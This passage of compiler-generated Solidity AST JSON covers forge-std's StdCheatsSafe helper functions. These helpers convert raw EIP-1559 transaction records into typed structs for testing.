memory"}},"id":4503,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13376:9:3","memberName":"arguments","nodeType":"MemberAccess","referencedDeclaration":3512,"src":"13370:15:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"src":"13346:39:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"id":4505,"nodeType":"ExpressionStatement","src":"13346:39:3"},{"expression":{"id":4511,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4506,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13395:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4508,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13407:12:3","memberName":"contractName","nodeType":"MemberAccess","referencedDeclaration":3552,"src":"13395:24:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4509,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4489,"src":"13422:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}},"id":4510,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13428:12:3","memberName":"contractName","nodeType":"MemberAccess","referencedDeclaration":3516,"src":"13422:18:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"13395:45:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":4512,"nodeType":"ExpressionStatement","src":"13395:45:3"},{"expression":{"id":4518,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4513,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13450:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4515,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13462:11:3","memberName":"functionSig","nodeType":"MemberAccess","referencedDeclaration":3554,"src":"13450:23:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4516,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4489,"src":"13476:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}},"id":4517,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13482:11:3","memberName":"functionSig","nodeType":"MemberAccess","referencedDeclaration":3518,"src":"13476:17:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"13450:43:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":4519,"nodeType":"ExpressionStatement","src":"13450:43:3"},{"expression":{"id":4525,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4520,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13503:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4522,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13515:4:3","memberName":"hash","nodeType":"MemberAccess","referencedDeclaration":3556,"src":"13503:16:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4523,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4489,"src":"13522:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}},"id":4524,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13528:4:3","memberName":"hash","nodeType":"MemberAccess","referencedDeclaration":3520,"src":"13522:10:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"13503:29:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":4526,"nodeType":"ExpressionStatement","src":"13503:29:3"},{"expression":{"id":4534,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4527,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13542:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4529,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13554:8:3","memberName":"txDetail","nodeType":"MemberAccess","referencedDeclaration":3559,"src":"13542:20:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4531,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4489,"src":"13593:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}},"id":4532,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13599:8:3","memberName":"txDetail","nodeType":"MemberAccess","referencedDeclaration":3523,"src":"13593:14:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}],"id":4530,"name":"rawToConvertedEIP1559Detail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4626,"src":"13565:27:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_struct$_RawTx1559Detail_$3545_memory_ptr_$returns$_t_struct$_Tx1559Detail_$3581_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawTx1559Detail memory) pure returns (struct StdCheatsSafe.Tx1559Detail memory)"}},"id":4533,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13565:43:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"src":"13542:66:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4535,"nodeType":"ExpressionStatement","src":"13542:66:3"},{"expression":{"id":4541,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4536,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13618:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4538,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13630:6:3","memberName":"opcode","nodeType":"MemberAccess","referencedDeclaration":3561,"src":"13618:18:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4539,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4489,"src":"13639:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}},"id":4540,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13645:6:3","memberName":"opcode","nodeType":"MemberAccess","referencedDeclaration":3525,"src":"13639:12:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"13618:33:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":4542,"nodeType":"ExpressionStatement","src":"13618:33:3"},{"expression":{"id":4543,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13668:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"functionReturnParameters":4494,"id":4544,"nodeType":"Return","src":"13661:18:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rawToConvertedEIPTx1559","nameLocation":"13207:23:3","parameters":{"id":4490,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4489,"mutability":"mutable","name":"rawTx","nameLocation":"13248:5:3","nodeType":"VariableDeclaration","scope":4546,"src":"13231:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559"},"typeName":{"id":4488,"nodeType":"UserDefinedTypeName","pathNode":{"id":4487,"name":"RawTx1559","nameLocations":["13231:9:3"],"nodeType":"IdentifierPath","referencedDeclaration":3526,"src":"13231:9:3"},"referencedDeclaration":3526,"src":"13231:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559"}},"visibility":"internal"}],"src":"13230:24:3"},"returnParameters":{"id":4494,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4493,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4546,"src":"13286:13:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559"},"typeName":{"id":4492,"nodeType":"UserDefinedTypeName","pathNode":{"id":4491,"name":"Tx1559","nameLocations":["13286:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"13286:6:3"},"referencedDeclaration":3562,"src":"13286:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"visibility":"internal"}],"src":"13285:15:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4626,"nodeType":"FunctionDefinition","src":"13692:619:3","nodes":[],"body":{"id":4625,"nodeType":"Block","src":"13851:460:3","nodes":[],"statements":[{"assignments":[4557],"declarations":[{"constant":false,"id":4557,"mutability":"mutable","name":"txDetail","nameLocation":"13881:8:3","nodeType":"VariableDeclaration","scope":4625,"src":"13861:28:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail"},"typeName":{"id":4556,"nodeType":"UserDefinedTypeName","pathNode":{"id":4555,"name":"Tx1559Detail","nameLocations":["13861:12:3"],"nodeType":"IdentifierPath","referencedDeclaration":3581,"src":"13861:12:3"},"referencedDeclaration":3581,"src":"13861:12:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail"}},"visibility":"internal"}],"id":4558,"nodeType":"VariableDeclarationStatement","src":"13861:28:3"},{"expression":{"id":4564,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4559,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"13899:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4561,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13908:4:3","memberName":"data","nodeType":"MemberAccess","referencedDeclaration":3568,"src":"13899:13:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4562,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"13915:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4563,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13925:4:3","memberName":"data","nodeType":"MemberAccess","referencedDeclaration":3532,"src":"13915:14:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"src":"13899:30:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":4565,"nodeType":"ExpressionStatement","src":"13899:30:3"},{"expression":{"id":4571,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4566,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"13939:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4568,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13948:4:3","memberName":"from","nodeType":"MemberAccess","referencedDeclaration":3570,"src":"13939:13:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4569,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"13955:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4570,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13965:4:3","memberName":"from","nodeType":"MemberAccess","referencedDeclaration":3534,"src":"13955:14:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"13939:30:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4572,"nodeType":"ExpressionStatement","src":"13939:30:3"},{"expression":{"id":4578,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4573,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"13979:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4575,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13988:2:3","memberName":"to","nodeType":"MemberAccess","referencedDeclaration":3576,"src":"13979:11:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4576,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"13993:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4577,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14003:2:3","memberName":"to","nodeType":"MemberAccess","referencedDeclaration":3540,"src":"13993:12:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"13979:26:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4579,"nodeType":"ExpressionStatement","src":"13979:26:3"},{"expression":{"id":4587,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4580,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"14015:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4582,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14024:5:3","memberName":"nonce","nodeType":"MemberAccess","referencedDeclaration":3574,"src":"14015:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4584,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"14045:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4585,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14055:5:3","memberName":"nonce","nodeType":"MemberAccess","referencedDeclaration":3538,"src":"14045:15:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4583,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"14032:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4586,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14032:29:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"14015:46:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4588,"nodeType":"ExpressionStatement","src":"14015:46:3"},{"expression":{"id":4596,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4589,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"14071:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4591,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14080:6:3","memberName":"txType","nodeType":"MemberAccess","referencedDeclaration":3578,"src":"14071:15:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4593,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"14102:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4594,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14112:6:3","memberName":"txType","nodeType":"MemberAccess","referencedDeclaration":3542,"src":"14102:16:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4592,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"14089:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4595,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14089:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"14071:48:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4597,"nodeType":"ExpressionStatement","src":"14071:48:3"},{"expression":{"id":4605,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4598,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"14129:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4600,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14138:5:3","memberName":"value","nodeType":"MemberAccess","referencedDeclaration":3580,"src":"14129:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4602,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"14159:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4603,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14169:5:3","memberName":"value","nodeType":"MemberAccess","referencedDeclaration":3544,"src":"14159:15:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4601,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"14146:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4604,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14146:29:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"14129:46:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4606,"nodeType":"ExpressionStatement","src":"14129:46:3"},{"expression":{"id":4614,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4607,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"14185:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4609,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14194:3:3","memberName":"gas","nodeType":"MemberAccess","referencedDeclaration":3572,"src":"14185:12:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4611,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"14213:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4612,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14223:3:3","memberName":"gas","nodeType":"MemberAccess","referencedDeclaration":3536,"src":"14213:13:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4610,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"14200:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14200:27:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"14185:42:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4615,"nodeType":"ExpressionStatement","src":"14185:42:3"},{"expression":{"id":4621,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4616,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"14237:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4618,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14246:10:3","memberName":"accessList","nodeType":"MemberAccess","referencedDeclaration":3566,"src":"14237:19:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.AccessList memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4619,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"14259:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4620,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14269:10:3","memberName":"accessList","nodeType":"MemberAccess","referencedDeclaration":3530,"src":"14259:20:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.AccessList memory[] memory"}},"src":"14237:42:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.AccessList memory[] memory"}},"id":4622,"nodeType":"ExpressionStatement","src":"14237:42:3"},{"expression":{"id":4623,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"14296:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"functionReturnParameters":4554,"id":4624,"nodeType":"Return","src":"14289:15:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rawToConvertedEIP1559Detail","nameLocation":"13701:27:3","parameters":{"id":4550,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4549,"mutability":"mutable","name":"rawDetail","nameLocation":"13752:9:3","nodeType":"VariableDeclaration","scope":4626,"src":"13729:32:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail"},"typeName":{"id":4548,"nodeType":"UserDefinedTypeName","pathNode":{"id":4547,"name":"RawTx1559Detail","nameLocations":["13729:15:3"],"nodeType":"IdentifierPath","referencedDeclaration":3545,"src":"13729:15:3"},"referencedDeclaration":3545,"src":"13729:15:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail"}},"visibility":"internal"}],"src":"13728:34:3"},"returnParameters":{"id":4554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4553,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4626,"src":"13826:19:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail"},"typeName":{"id":4552,"nodeType":"UserDefinedTypeName","pathNode":{"id":4551,"name":"Tx1559Detail","nameLocations":["13826:12:3"],"nodeType":"IdentifierPath","referencedDeclaration":3581,"src":"13826:12:3"},"referencedDeclaration":3581,"src":"13826:12:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail"}},"visibility":"internal"}],"src":"13825:21:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4668,"nodeType":"FunctionDefinition","src":"14317:363:3","nodes":[],"body":{"id":4667,"nodeType":"Block","src":"14406:274:3","nodes":[],"statements":[{"assignments":[4636],"declarations":[{"constant":false,"id":4636,"mutability":"mutable","name":"deployData","nameLocation":"14430:10:3","nodeType":"VariableDeclaration","scope":4667,"src":"14416:24:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4635,"name":"string","nodeType":"ElementaryTypeName","src":"14416:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4641,"initialValue":{"arguments":[{"id":4639,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4628,"src":"14455:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string 